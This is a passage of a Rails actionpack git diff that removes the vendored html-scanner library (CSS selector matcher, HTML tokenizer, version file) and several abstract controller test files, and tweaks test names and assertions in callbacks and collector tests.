- # * <tt>expr1 + expr2</tt> -- Match any element against the second expression
- # if it immediately follows an element that matches the first expression.
- # * <tt>expr1 ~ expr2</tt> -- Match any element against the second expression
- # that comes after an element that matches the first expression.
- # * <tt>expr1, expr2</tt> -- Match any element against the first expression,
- # or against the second expression.
- #
- # Since children and sibling selectors may match more than one element given
- # the first element, the #match method may return more than one match.
- #
- # === Pseudo classes
- #
- # Pseudo classes were introduced in CSS 3. They are most often used to select
- # elements in a given position:
- # * <tt>:root</tt> -- Match the element only if it is the root element
- # (no parent element).
- # * <tt>:empty</tt> -- Match the element only if it has no child elements,
- # and no text content.
- # * <tt>:content(string)</tt> -- Match the element only if it has <tt>string</tt>
- # as its text content (ignoring leading and trailing whitespace).
- # * <tt>:only-child</tt> -- Match the element if it is the only child (element)
- # of its parent element.
- # * <tt>:only-of-type</tt> -- Match the element if it is the only child (element)
- # of its parent element and its type.
- # * <tt>:first-child</tt> -- Match the element if it is the first child (element)
- # of its parent element.
- # * <tt>:first-of-type</tt> -- Match the element if it is the first child (element)
- # of its parent element of its type.
- # * <tt>:last-child</tt> -- Match the element if it is the last child (element)
- # of its parent element.
- # * <tt>:last-of-type</tt> -- Match the element if it is the last child (element)
- # of its parent element of its type.
- # * <tt>:nth-child(b)</tt> -- Match the element if it is the b-th child (element)
- # of its parent element. The value <tt>b</tt> specifies its index, starting with 1.
- # * <tt>:nth-child(an+b)</tt> -- Match the element if it is the b-th child (element)
- # in each group of <tt>a</tt> child elements of its parent element.
- # * <tt>:nth-child(-an+b)</tt> -- Match the element if it is the first child (element)
- # in each group of <tt>a</tt> child elements, up to the first <tt>b</tt> child
- # elements of its parent element.
- # * <tt>:nth-child(odd)</tt> -- Match element in the odd position (i.e. first, third).
- # Same as <tt>:nth-child(2n+1)</tt>.
- # * <tt>:nth-child(even)</tt> -- Match element in the even position (i.e. second,
- # fourth). Same as <tt>:nth-child(2n+2)</tt>.
- # * <tt>:nth-of-type(..)</tt> -- As above, but only counts elements of its type.
- # * <tt>:nth-last-child(..)</tt> -- As above, but counts from the last child.
- # * <tt>:nth-last-of-type(..)</tt> -- As above, but counts from the last child and
- # only elements of its type.
- # * <tt>:not(selector)</tt> -- Match the element only if the element does not
- # match the simple selector.
- #
- # As you can see, <tt>:nth-child</tt> pseudo class and its variant can get quite
- # tricky and the CSS specification doesn't do a much better job explaining it.
- # But after reading the examples and trying a few combinations, it's easy to
- # figure out.
- #
- # For example:
- # table tr:nth-child(odd)
- # Selects every second row in the table starting with the first one.
- #
- # div p:nth-child(4)
- # Selects the fourth paragraph in the +div+, but not if the +div+ contains
- # other elements, since those are also counted.
- #
- # div p:nth-of-type(4)
- # Selects the fourth paragraph in the +div+, counting only paragraphs, and
- # ignoring all other elements.
- #
- # div p:nth-of-type(-n+4)
- # Selects the first four paragraphs, ignoring all others.
- #
- # And you can always select an element that matches one set of rules but
- # not another using <tt>:not</tt>. For example:
- # p:not(.post)
- # Matches all paragraphs that do not have the class <tt>.post</tt>.
- #
- # === Substitution Values
- #
- # You can use substitution with identifiers, class names and element values.
- # A substitution takes the form of a question mark (<tt>?</tt>) and uses the
- # next value in the argument list following the CSS expression.
- #
- # The substitution value may be a string or a regular expression. All other
- # values are converted to strings.
- #
- # For example:
- # selector = HTML::Selector.new "#?", /^\d+$/
- # matches any element whose identifier consists of one or more digits.
- #
- # See http://www.w3.org/TR/css3-selectors/
- class Selector
-
-
- # An invalid selector.
- class InvalidSelectorError < StandardError #:nodoc:
- end
-
-
- class << self
-
- # :call-seq:
- # Selector.for_class(cls) => selector
- #
- # Creates a new selector for the given class name.
- def for_class(cls)
- self.new([".?", cls])
- end
-
-
- # :call-seq:
- # Selector.for_id(id) => selector
- #
- # Creates a new selector for the given id.
- def for_id(id)
- self.new(["#?", id])
- end
-
- end
-
-
- # :call-seq:
- # Selector.new(string, [values ...]) => selector
- #
- # Creates a new selector from a CSS 2 selector expression.
- #
- # The first argument is the selector expression. All other arguments
- # are used for value substitution.
- #
- # Throws InvalidSelectorError is the selector expression is invalid.
- def initialize(selector, *values)
- raise ArgumentError, "CSS expression cannot be empty" if selector.empty?
- @source = ""
- values = values[0] if values.size == 1 && values[0].is_a?(Array)
-
- # We need a copy to determine if we failed to parse, and also
- # preserve the original pass by-ref statement.
- statement = selector.strip.dup
-
- # Create a simple selector, along with negation.
- simple_selector(statement, values).each { |name, value| instance_variable_set("@#{name}", value) }
-
- @alternates = []
- @depends = nil
-
- # Alternative selector.
- if statement.sub!(/^\s*,\s*/, "")
- second = Selector.new(statement, values)
- @alternates << second
- # If there are alternate selectors, we group them in the top selector.
- if alternates = second.instance_variable_get(:@alternates)
- second.instance_variable_set(:@alternates, [])
- @alternates.concat alternates
- end
- @source << " , " << second.to_s
- # Sibling selector: create a dependency into second selector that will
- # match element immediately following this one.
- elsif statement.sub!(/^\s*\+\s*/, "")
- second = next_selector(statement, values)
- @depends = lambda do |element, first|
- if element = next_element(element)
- second.match(element, first)
- end
- end
- @source << " + " << second.to_s
- # Adjacent selector: create a dependency into second selector that will
- # match all elements following this one.
- elsif statement.sub!(/^\s*~\s*/, "")
- second = next_selector(statement, values)
- @depends = lambda do |element, first|
- matches = []
- while element = next_element(element)
- if subset = second.match(element, first)
- if first && !subset.empty?
- matches << subset.first
- break
- else
- matches.concat subset
- end
- end
- end
- matches.empty? ? nil : matches
- end
- @source << " ~ " << second.to_s
- # Child selector: create a dependency into second selector that will
- # match a child element of this one.
- elsif statement.sub!(/^\s*>\s*/, "")
- second = next_selector(statement, values)
- @depends = lambda do |element, first|
- matches = []
- element.children.each do |child|
- if child.tag? && subset = second.match(child, first)
- if first && !subset.empty?
- matches << subset.first
- break
- else
- matches.concat subset
- end
- end
- end
- matches.empty? ? nil : matches
- end
- @source << " > " << second.to_s
- # Descendant selector: create a dependency into second selector that
- # will match all descendant elements of this one. Note,
- elsif statement =~ /^\s+\S+/ && statement != selector
- second = next_selector(statement, values)
- @depends = lambda do |element, first|
- matches = []
- stack = element.children.reverse
- while node = stack.pop
- next unless node.tag?
- if subset = second.match(node, first)
- if first && !subset.empty?
- matches << subset.first
- break
- else
- matches.concat subset
- end
- elsif children = node.children
- stack.concat children.reverse
- end
- end
- matches.empty? ? nil : matches
- end
- @source << " " << second.to_s
- else
- # The last selector is where we check that we parsed
- # all the parts.
- unless statement.empty? || statement.strip.empty?
- raise ArgumentError, "Invalid selector: #{statement}"
- end
- end
- end
-
-
- # :call-seq:
- # match(element, first?) => array or nil
- #
- # Matches an element against the selector.
- #
- # For a simple selector this method returns an array with the
- # element if the element matches, nil otherwise.
- #
- # For a complex selector (sibling and descendant) this method
- # returns an array with all matching elements, nil if no match is
- # found.
- #
- # Use +first_only=true+ if you are only interested in the first element.
- #
- # For example:
- # if selector.match(element)
- # puts "Element is a login form"
- # end
- def match(element, first_only = false)
- # Match element if no element name or element name same as element name
- if matched = (!@tag_name || @tag_name == element.name)
- # No match if one of the attribute matches failed
- for attr in @attributes
- if element.attributes[attr[0]] !~ attr[1]
- matched = false
- break
- end
- end
- end
-
- # Pseudo class matches (nth-child, empty, etc).
- if matched
- for pseudo in @pseudo
- unless pseudo.call(element)
- matched = false
- break
- end
- end
- end
-
- # Negation. Same rules as above, but we fail if a match is made.
- if matched && @negation
- for negation in @negation
- if negation[:tag_name] == element.name
- matched = false
- else
- for attr in negation[:attributes]
- if element.attributes[attr[0]] =~ attr[1]
- matched = false
- break
- end
- end
- end
- if matched
- for pseudo in negation[:pseudo]
- if pseudo.call(element)
- matched = false
- break
- end
- end
- end
- break unless matched
- end
- end
-
- # If element matched but depends on another element (child,
- # sibling, etc), apply the dependent matches instead.
- if matched && @depends
- matches = @depends.call(element, first_only)
- else
- matches = matched ? [element] : nil
- end
-
- # If this selector is part of the group, try all the alternative
- # selectors (unless first_only).
- if !first_only || !matches
- @alternates.each do |alternate|
- break if matches && first_only
- if subset = alternate.match(element, first_only)
- if matches
- matches.concat subset
- else
- matches = subset
- end
- end
- end
- end
-
- matches
- end
-
-
- # :call-seq:
- # select(root) => array
- #
- # Selects and returns an array with all matching elements, beginning
- # with one node and traversing through all children depth-first.
- # Returns an empty array if no match is found.
- #
- # The root node may be any element in the document, or the document
- # itself.
- #
- # For example:
- # selector = HTML::Selector.new "input[type=text]"
- # matches = selector.select(element)
- # matches.each do |match|
- # puts "Found text field with name #{match.attributes['name']}"
- # end
- def select(root)
- matches = []
- stack = [root]
- while node = stack.pop
- if node.tag? && subset = match(node, false)
- subset.each do |match|
- matches << match unless matches.any? { |item| item.equal?(match) }
- end
- elsif children = node.children
- stack.concat children.reverse
- end
- end
- matches
- end
-
-
- # Similar to #select but returns the first matching element. Returns +nil+
- # if no element matches the selector.
- def select_first(root)
- stack = [root]
- while node = stack.pop
- if node.tag? && subset = match(node, true)
- return subset.first if !subset.empty?
- elsif children = node.children
- stack.concat children.reverse
- end
- end
- nil
- end
-
-
- def to_s #:nodoc:
- @source
- end
-
-
- # Return the next element after this one. Skips sibling text nodes.
- #
- # With the +name+ argument, returns the next element with that name,
- # skipping other sibling elements.
- def next_element(element, name = nil)
- if siblings = element.parent.children
- found = false
- siblings.each do |node|
- if node.equal?(element)
- found = true
- elsif found && node.tag?
- return node if (name.nil? || node.name == name)
- end
- end
- end
- nil
- end
-
-
- protected
-
-
- # Creates a simple selector given the statement and array of
- # substitution values.
- #
- # Returns a hash with the values +tag_name+, +attributes+,
- # +pseudo+ (classes) and +negation+.
- #
- # Called the first time with +can_negate+ true to allow
- # negation. Called a second time with false since negation
- # cannot be negated.
- def simple_selector(statement, values, can_negate = true)
- tag_name = nil
- attributes = []
- pseudo = []
- negation = []
-
- # Element name. (Note that in negation, this can come at
- # any order, but for simplicity we allow if only first).
- statement.sub!(/^(\*|[[:alpha:]][\w\-]*)/) do |match|
- match.strip!
- tag_name = match.downcase unless match == "*"
- @source << match
- "" # Remove
- end
-
- # Get identifier, class, attribute name, pseudo or negation.
- while true
- # Element identifier.
- next if statement.sub!(/^#(\?|[\w\-]+)/) do |match|
- id = $1
- if id == "?"
- id = values.shift
- end
- @source << "##{id}"
- id = Regexp.new("^#{Regexp.escape(id.to_s)}$") unless id.is_a?(Regexp)
- attributes << ["id", id]
- "" # Remove
- end
-
- # Class name.
- next if statement.sub!(/^\.([\w\-]+)/) do |match|
- class_name = $1
- @source << ".#{class_name}"
- class_name = Regexp.new("(^|\s)#{Regexp.escape(class_name)}($|\s)") unless class_name.is_a?(Regexp)
- attributes << ["class", class_name]
- "" # Remove
- end
-
- # Attribute value.
- next if statement.sub!(/^\[\s*([[:alpha:]][\w\-:]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do |match|
- name, equality, value = $1, $2, $3
- if value == "?"
- value = values.shift
- else
- # Handle single and double quotes.
- value.strip!
- if (value[0] == ?" || value[0] == ?') && value[0] == value[-1]
- value = value[1..-2]
- end
- end
- @source << "[#{name}#{equality}'#{value}']"
- attributes << [name.downcase.strip, attribute_match(equality, value)]
- "" # Remove
- end
-
- # Root element only.
- next if statement.sub!(/^:root/) do |match|
- pseudo << lambda do |element|
- element.parent.nil? || !element.parent.tag?
- end
- @source << ":root"
- "" # Remove
- end
-
- # Nth-child including last and of-type.
- next if statement.sub!(/^:nth-(last-)?(child|of-type)\((odd|even|(\d+|\?)|(-?\d*|\?)?n([+\-]\d+|\?)?)\)/) do |match|
- reverse = $1 == "last-"
- of_type = $2 == "of-type"
- @source << ":nth-#{$1}#{$2}("
- case $3
- when "odd"
- pseudo << nth_child(2, 1, of_type, reverse)
- @source << "odd)"
- when "even"
- pseudo << nth_child(2, 2, of_type, reverse)
- @source << "even)"
- when /^(\d+|\?)$/ # b only
- b = ($1 == "?" ? values.shift : $1).to_i
- pseudo << nth_child(0, b, of_type, reverse)
- @source << "#{b})"
- when /^(-?\d*|\?)?n([+\-]\d+|\?)?$/
- a = ($1 == "?" ? values.shift :
- $1 == "" ? 1 : $1 == "-" ? -1 : $1).to_i
- b = ($2 == "?" ? values.shift : $2).to_i
- pseudo << nth_child(a, b, of_type, reverse)
- @source << (b >= 0 ? "#{a}n+#{b})" : "#{a}n#{b})")
- else
- raise ArgumentError, "Invalid nth-child #{match}"
- end
- "" # Remove
- end
- # First/last child (of type).
- next if statement.sub!(/^:(first|last)-(child|of-type)/) do |match|
- reverse = $1 == "last"
- of_type = $2 == "of-type"
- pseudo << nth_child(0, 1, of_type, reverse)
- @source << ":#{$1}-#{$2}"
- "" # Remove
- end
- # Only child (of type).
- next if statement.sub!(/^:only-(child|of-type)/) do |match|
- of_type = $1 == "of-type"
- pseudo << only_child(of_type)
- @source << ":only-#{$1}"
- "" # Remove
- end
-
- # Empty: no child elements or meaningful content (whitespaces
- # are ignored).
- next if statement.sub!(/^:empty/) do |match|
- pseudo << lambda do |element|
- empty = true
- for child in element.children
- if child.tag? || !child.content.strip.empty?
- empty = false
- break
- end
- end
- empty
- end
- @source << ":empty"
- "" # Remove
- end
- # Content: match the text content of the element, stripping
- # leading and trailing spaces.
- next if statement.sub!(/^:content\(\s*(\?|'[^']*'|"[^"]*"|[^)]*)\s*\)/) do |match|
- content = $1
- if content == "?"
- content = values.shift
- elsif (content[0] == ?" || content[0] == ?') && content[0] == content[-1]
- content = content[1..-2]
- end
- @source << ":content('#{content}')"
- content = Regexp.new("^#{Regexp.escape(content.to_s)}$") unless content.is_a?(Regexp)
- pseudo << lambda do |element|
- text = ""
- for child in element.children
- unless child.tag?
- text << child.content
- end
- end
- text.strip =~ content
- end
- "" # Remove
- end
-
- # Negation. Create another simple selector to handle it.
- if statement.sub!(/^:not\(\s*/, "")
- raise ArgumentError, "Double negatives are not missing feature" unless can_negate
- @source << ":not("
- negation << simple_selector(statement, values, false)
- raise ArgumentError, "Negation not closed" unless statement.sub!(/^\s*\)/, "")
- @source << ")"
- next
- end
-
- # No match: moving on.
- break
- end
-
- # Return hash. The keys are mapped to instance variables.
- {:tag_name=>tag_name, :attributes=>attributes, :pseudo=>pseudo, :negation=>negation}
- end
-
-
- # Create a regular expression to match an attribute value based
- # on the equality operator (=, ^=, |=, etc).
- def attribute_match(equality, value)
- regexp = value.is_a?(Regexp) ? value : Regexp.escape(value.to_s)
- case equality
- when "=" then
- # Match the attribute value in full
- Regexp.new("^#{regexp}$")
- when "~=" then
- # Match a space-separated word within the attribute value
- Regexp.new("(^|\s)#{regexp}($|\s)")
- when "^="
- # Match the beginning of the attribute value
- Regexp.new("^#{regexp}")
- when "$="
- # Match the end of the attribute value
- Regexp.new("#{regexp}$")
- when "*="
- # Match substring of the attribute value
- regexp.is_a?(Regexp) ? regexp : Regexp.new(regexp)
- when "|=" then
- # Match the first space-separated item of the attribute value
- Regexp.new("^#{regexp}($|\s)")
- else
- raise InvalidSelectorError, "Invalid operation/value" unless value.empty?
- # Match all attributes values (existence check)
- //
- end
- end
-
-
- # Returns a lambda that can match an element against the nth-child
- # pseudo class, given the following arguments:
- # * +a+ -- Value of a part.
- # * +b+ -- Value of b part.
- # * +of_type+ -- True to test only elements of this type (of-type).
- # * +reverse+ -- True to count in reverse order (last-).
- def nth_child(a, b, of_type, reverse)
- # a = 0 means select at index b, if b = 0 nothing selected
- return lambda { |element| false } if a == 0 && b == 0
- # a < 0 and b < 0 will never match against an index
- return lambda { |element| false } if a < 0 && b < 0
- b = a + b + 1 if b < 0 # b < 0 just picks last element from each group
- b -= 1 unless b == 0 # b == 0 is same as b == 1, otherwise zero based
- lambda do |element|
- # Element must be inside parent element.
- return false unless element.parent && element.parent.tag?
- index = 0
- # Get siblings, reverse if counting from last.
- siblings = element.parent.children
- siblings = siblings.reverse if reverse
- # Match element name if of-type, otherwise ignore name.
- name = of_type ? element.name : nil
- found = false
- for child in siblings
- # Skip text nodes/comments.
- if child.tag? && (name == nil || child.name == name)
- if a == 0
- # Shortcut when a == 0 no need to go past count
- if index == b
- found = child.equal?(element)
- break
- end
- elsif a < 0
- # Only look for first b elements
- break if index > b
- if child.equal?(element)
- found = (index % a) == 0
- break
- end
- else
- # Otherwise, break if child found and count == an+b
- if child.equal?(element)
- found = (index % a) == b
- break
- end
- end
- index += 1
- end
- end
- found
- end
- end
-
-
- # Creates a only child lambda. Pass +of-type+ to only look at
- # elements of its type.
- def only_child(of_type)
- lambda do |element|
- # Element must be inside parent element.
- return false unless element.parent && element.parent.tag?
- name = of_type ? element.name : nil
- other = false
- for child in element.parent.children
- # Skip text nodes/comments.
- if child.tag? && (name == nil || child.name == name)
- unless child.equal?(element)
- other = true
- break
- end
- end
- end
- !other
- end
- end
-
-
- # Called to create a dependent selector (sibling, descendant, etc).
- # Passes the remainder of the statement that will be reduced to zero
- # eventually, and array of substitution values.
- #
- # This method is called from four places, so it helps to put it here
- # for reuse. The only logic deals with the need to detect comma
- # separators (alternate) and apply them to the selector group of the
- # top selector.
- def next_selector(statement, values)
- second = Selector.new(statement, values)
- # If there are alternate selectors, we group them in the top selector.
- if alternates = second.instance_variable_get(:@alternates)
- second.instance_variable_set(:@alternates, [])
- @alternates.concat alternates
- end
- second
- end
-
- end
-
-
- # See HTML::Selector.new
- def self.selector(statement, *values)
- Selector.new(statement, *values)
- end
-
-
- class Tag
-
- def select(selector, *values)
- selector = HTML::Selector.new(selector, values)
- selector.select(self)
- end
-
- end
-
-end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb b/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb
deleted file mode 100644
index 8ac8d34430..0000000000
--- a/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-require 'strscan'
-
-module HTML #:nodoc:
-
- # A simple HTML tokenizer. It simply breaks a stream of text into tokens, where each
- # token is a string. Each string represents either "text", or an HTML element.
- #
- # This currently assumes valid XHTML, which means no free < or > characters.
- #
- # Usage:
- #
- # tokenizer = HTML::Tokenizer.new(text)
- # while token = tokenizer.next
- # p token
- # end
- class Tokenizer #:nodoc:
-
- # The current (byte) position in the text
- attr_reader :position
-
- # The current line number
- attr_reader :line
-
- # Create a new Tokenizer for the given text.
- def initialize(text)
- text.encode!
- @scanner = StringScanner.new(text)
- @position = 0
- @line = 0
- @current_line = 1
- end
-
- # Return the next token in the sequence, or +nil+ if there are no more tokens in
- # the stream.
- def next
- return nil if @scanner.eos?
- @position = @scanner.pos
- @line = @current_line
- if @scanner.check(/<\S/)
- update_current_line(scan_tag)
- else
- update_current_line(scan_text)
- end
- end
-
- private
-
- # Treat the text at the current position as a tag, and scan it. Supports
- # comments, doctype tags, and regular tags, and ignores less-than and
- # greater-than characters within quoted strings.
- def scan_tag
- tag = @scanner.getch
- if @scanner.scan(/!--/) # comment
- tag << @scanner.matched
- tag << (@scanner.scan_until(/--\s*>/) || @scanner.scan_until(/\Z/))
- elsif @scanner.scan(/!\[CDATA\[/)
- tag << @scanner.matched
- tag << (@scanner.scan_until(/\]\]>/) || @scanner.scan_until(/\Z/))
- elsif @scanner.scan(/!/) # doctype
- tag << @scanner.matched
- tag << consume_quoted_regions
- else
- tag << consume_quoted_regions
- end
- tag
- end
-
- # Scan all text up to the next < character and return it.
- def scan_text
- "#{@scanner.getch}#{@scanner.scan(/[^<]*/)}"
- end
-
- # Counts the number of newlines in the text and updates the current line
- # accordingly.
- def update_current_line(text)
- text.scan(/\r?\n/) { @current_line += 1 }
- end
-
- # Skips over quoted strings, so that less-than and greater-than characters
- # within the strings are ignored.
- def consume_quoted_regions
- text = ""
- loop do
- match = @scanner.scan_until(/['"<>]/) or break
-
- delim = @scanner.matched
- if delim == "<"
- match = match.chop
- @scanner.pos -= 1
- end
-
- text << match
- break if delim == "<" || delim == ">"
-
- # consume the quoted region
- while match = @scanner.scan_until(/[\\#{delim}]/)
- text << match
- break if @scanner.matched == delim
- break if @scanner.eos?
- text << @scanner.getch # skip the escaped character
- end
- end
- text
- end
- end
-
-end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/version.rb b/actionpack/lib/action_view/vendor/html-scanner/html/version.rb
deleted file mode 100644
index 6d645c3e14..0000000000
--- a/actionpack/lib/action_view/vendor/html-scanner/html/version.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module HTML #:nodoc:
- module Version #:nodoc:
-
- MAJOR = 0
- MINOR = 5
- TINY = 3
-
- STRING = [ MAJOR, MINOR, TINY ].join(".")
-
- end
-end
diff --git a/actionpack/test/abstract/abstract_controller_test.rb b/actionpack/test/abstract/abstract_controller_test.rb
deleted file mode 100644
index 62f82a4c7a..0000000000
--- a/actionpack/test/abstract/abstract_controller_test.rb
+++ /dev/null
@@ -1,263 +0,0 @@
-require 'abstract_unit'
-require 'set'
-
-module AbstractController
- module Testing
-
- # Test basic dispatching.
- # ====
- # * Call process
- # * Test that the response_body is set correctly
- class SimpleController < AbstractController::Base
- end
-
- class Me < SimpleController
- def index
- self.response_body = "Hello world"
- "Something else"
- end
- end
-
- class TestBasic < ActiveSupport::TestCase
- test "dispatching works" do
- controller = Me.new
- controller.process(:index)
- assert_equal "Hello world", controller.response_body
- end
- end
-
- # Test Render mixin
- # ====
- class RenderingController < AbstractController::Base
- include AbstractController::Rendering
-
- def _prefixes
- []
- end
-
- def render(options = {})
- if options.is_a?(String)
- options = {:_template_name => options}
- end
- super
- end
-
- append_view_path File.expand_path(File.join(File.dirname(__FILE__), "views"))
- end
-
- class Me2 < RenderingController
- def index
- render "index.erb"
- end
-
- def index_to_string
- self.response_body = render_to_string "index"
- end
-
- def action_with_ivars
- @my_ivar = "Hello"
- render "action_with_ivars.erb"
- end
-
- def naked_render
- render
- end
-
- def rendering_to_body
- self.response_body = render_to_body :template => "naked_render"
- end
-
- def rendering_to_string
- self.response_body = render_to_string :template => "naked_render"
- end
- end
-
- class TestRenderingController < ActiveSupport::TestCase
- def setup
- @controller = Me2.new
- end
-
- test "rendering templates works" do
- @controller.process(:index)
- assert_equal "Hello from index.erb", @controller.response_body
- end
-
- test "render_to_string works with a String as an argument" do
- @controller.process(:index_to_string)
- assert_equal "Hello from index.erb", @controller.response_body
- end
-
- test "rendering passes ivars to the view" do
- @controller.process(:action_with_ivars)
- assert_equal "Hello from index_with_ivars.erb", @controller.response_body
- end
-
- test "rendering with no template name" do
- @controller.process(:naked_render)
- assert_equal "Hello from naked_render.erb", @controller.response_body
- end
-
- test "rendering to a rack body" do
- @controller.process(:rendering_to_body)
- assert_equal "Hello from naked_render.erb", @controller.response_body
- end
-
- test "rendering to a string" do
- @controller.process(:rendering_to_string)
- assert_equal "Hello from naked_render.erb", @controller.response_body
- end
- end
-
- # Test rendering with prefixes
- # ====
- # * self._prefix is used when defined
- class PrefixedViews < RenderingController
- private
- def self.prefix
- name.underscore
- end
-
- def _prefixes
- [self.class.prefix]
- end
- end
-
- class Me3 < PrefixedViews
- def index
- render
- end
-
- def formatted
- self.formats = [:html]
- render
- end
- end
-
- class TestPrefixedViews < ActiveSupport::TestCase
- def setup
- @controller = Me3.new
- end
-
- test "templates are located inside their 'prefix' folder" do
- @controller.process(:index)
- assert_equal "Hello from me3/index.erb", @controller.response_body
- end
-
- test "templates included their format" do
- @controller.process(:formatted)
- assert_equal "Hello from me3/formatted.html.erb", @controller.response_body
- end
- end
-
- # Test rendering with layouts
- # ====
- # self._layout is used when defined
- class WithLayouts < PrefixedViews
- include AbstractController::Layouts
-
- private
- def self.layout(formats)
- begin
- find_template(name.underscore, {:formats => formats}, :_prefixes => ["layouts"])
- rescue ActionView::MissingTemplate
- begin
- find_template("application", {:formats => formats}, :_prefixes => ["layouts"])
- rescue ActionView::MissingTemplate
- end
- end
- end
-
- def render_to_body(options = {})
- options[:_layout] = options[:layout] || _default_layout({})
- super
- end
- end
-
- class Me4 < WithLayouts
- def index
- render
- end
- end
-
- class TestLayouts < ActiveSupport::TestCase
- test "layouts are included" do
- controller = Me4.new
- controller.process(:index)
- assert_equal "Me4 Enter : Hello from me4/index.erb : Exit", controller.response_body
- end
- end
-
- # respond_to_action?(action_name)
- # ====
- # * A method can be used as an action only if this method
- # returns true when passed the method name as an argument
- # * Defaults to true in AbstractController
- class DefaultRespondToActionController < AbstractController::Base
- def index() self.response_body = "success" end
- end
-
- class ActionMissingRespondToActionController < AbstractController::Base
- # No actions
- private
- def action_missing(action_name)
- self.response_body = "success"
- end
- end
-
- class RespondToActionController < AbstractController::Base;
- def index() self.response_body = "success" end
-
- def fail() self.response_body = "fail" end
-
- private
-
- def method_for_action(action_name)
- action_name.to_s != "fail" && action_name
- end
- end
-
- class TestRespondToAction < ActiveSupport::TestCase
-
- def assert_dispatch(klass, body = "success", action = :index)
- controller = klass.new
- controller.process(action)
- assert_equal body, controller.response_body
- end
-
- test "an arbitrary method is available as an action by default" do
- assert_dispatch DefaultRespondToActionController, "success", :index
- end
-
- test "raises ActionNotFound when method does not exist and action_missing is not defined" do
- assert_raise(ActionNotFound) { DefaultRespondToActionController.new.process(:fail) }
- end
-
- test "dispatches to action_missing when method does not exist and action_missing is defined" do
- assert_dispatch ActionMissingRespondToActionController, "success", :ohai
- end
-
- test "a method is available as an action if method_for_action returns true" do
- assert_dispatch RespondToActionController, "success", :index
- end
-
- test "raises ActionNotFound if method is defined but method_for_action returns false" do
- assert_raise(ActionNotFound) { RespondToActionController.new.process(:fail) }
- end
- end
-
- class Me6 < AbstractController::Base
- self.action_methods
-
- def index
- end
- end
-
- class TestActionMethodsReloading < ActiveSupport::TestCase
-
- test "action_methods should be reloaded after defining a new method" do
- assert_equal Set.new(["index"]), Me6.action_methods
- end
- end
-
- end
-end
diff --git a/actionpack/test/abstract/callbacks_test.rb b/actionpack/test/abstract/callbacks_test.rb
index 1090af3060..8cba049485 100644
--- a/actionpack/test/abstract/callbacks_test.rb
+++ b/actionpack/test/abstract/callbacks_test.rb
@@ -259,7 +259,7 @@ module AbstractController
end
class TestCallbacksWithArgs < ActiveSupport::TestCase
- test "callbacks still work when invoking process with multiple args" do
+ test "callbacks still work when invoking process with multiple arguments" do
controller = CallbacksWithArgs.new
controller.process(:index, " Howdy!")
assert_equal "Hello world Howdy!", controller.response_body
diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb
index c14d24905b..fc59bf19c4 100644
--- a/actionpack/test/abstract/collector_test.rb
+++ b/actionpack/test/abstract/collector_test.rb
@@ -24,25 +24,31 @@ module AbstractController
test "does not respond to unknown mime types" do
collector = MyCollector.new
- assert !collector.respond_to?(:unknown)
+ assert_not_respond_to collector, :unknown
end
test "register mime types on method missing" do
AbstractController::Collector.send(:remove_method, :js)
- collector = MyCollector.new
- assert !collector.respond_to?(:js)
- collector.js
- assert_respond_to collector, :js
+ begin
+ collector = MyCollector.new
+ assert_not_respond_to collector, :js
+ collector.js
+ assert_respond_to collector, :js
+ ensure
+ unless AbstractController::Collector.method_defined? :js
+ AbstractController::Collector.generate_method_for_mime :js
+ end
+ end
end
test "does not register unknown mime types" do
collector = MyCollector.new
- assert_raise NameError do
+ assert_raise NoMethodError do
collector.unknown
end
end
- test "generated methods call custom with args received" do
+ test "generated methods call custom with arguments received" do
collector = MyCollector.new
collector.html
collector.text(:foo)
diff --git a/actionpack/test/abstract/helper_test.rb b/actionpack/test/abstract/helper_test.rb
deleted file mode 100644
index e79008fa9d..0000000000
--- a/actionpack/test/abstract/helper_test.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-require 'abstract_unit'
-
-ActionController::Base.helpers_path = File.expand_path('../../fixtures/helpers', __FILE__)
-
-module AbstractController
- module Testing
-
- class ControllerWithHelpers < AbstractController::Base
- include AbstractController::Rendering
- include AbstractController::Helpers
-
- def with_module
- render :inline => "Module <%= included_method %>"
- end
- end
-
- module HelperyTest
- def included_method
- "Included"
- end
- end
-
- class AbstractHelpers < ControllerWithHelpers
- helper(HelperyTest) do
- def helpery_test
- "World"
- end
- end
-
- helper :abc
-
- def with_block
- render :inline => "Hello <%= helpery_test %>"
- end
-
- def with_symbol
- render :inline => "I respond to bare_a: <%= respond_to?(:bare_a) %>"
- end
- end
-
- class ::HelperyTestController < AbstractHelpers
- clear_helpers
- end
-
- class AbstractHelpersBlock < ControllerWithHelpers
- helper do
- include AbstractController::Testing::HelperyTest
- end
- end
-
- class TestHelpers < ActiveSupport::TestCase
- def setup
- @controller = AbstractHelpers.new
- end
-
- def test_helpers_with_block
- @controller.process(:with_block)
- assert_equal "Hello World", @controller.response_body
- end
-
- def test_helpers_with_module
- @controller.process(:with_module)
- assert_equal "Module Included", @controller.response_body
- end
-
- def test_helpers_with_symbol
- @controller.process(:with_symbol)
- assert_equal "I respond to bare_a: true", @controller.response_body
- end
-
- def test_declare_missing_helper
- begin
- AbstractHelpers.helper :missing
- flunk "should have raised an exception"
- rescue LoadError => e
- assert_equal "helpers/missing_helper.rb", e.path
- end
- end
-
- def test_helpers_with_module_through_block
- @controller = AbstractHelpersBlock.new
- @controller.process(:with_module)
- assert_equal "Module Included", @controller.response_body
- end
- end
-
- class ClearHelpersTest < ActiveSupport::TestCase
- def setup
- @controller = HelperyTestController.new
- end
-
- def test_clears_up_previous_helpers
- @controller.process(:with_symbol)
- assert_equal "I respond to bare_a: false", @controller.response_body
- end
-
- def test_includes_controller_default_helper
- @controller.process(:with_block)
- assert_equal "Hello Default", @controller.response_body
- end
- end
- end
-end
diff --git a/actionpack/test/abstract/layouts_test.rb b/actionpack/test/abstract/layouts_test.rb
deleted file mode 100644
index 558a45b87f..0000000000
--- a/actionpack/test/abstract/layouts_test.rb
+++ /dev/null
@@ -1,363 +0,0 @@
-require 'abstract_unit'
-
-module AbstractControllerTests
- module Layouts
-
- # Base controller for these tests
- class Base < AbstractController::Base
- include AbstractController::Rendering
- include AbstractController::Layouts
-
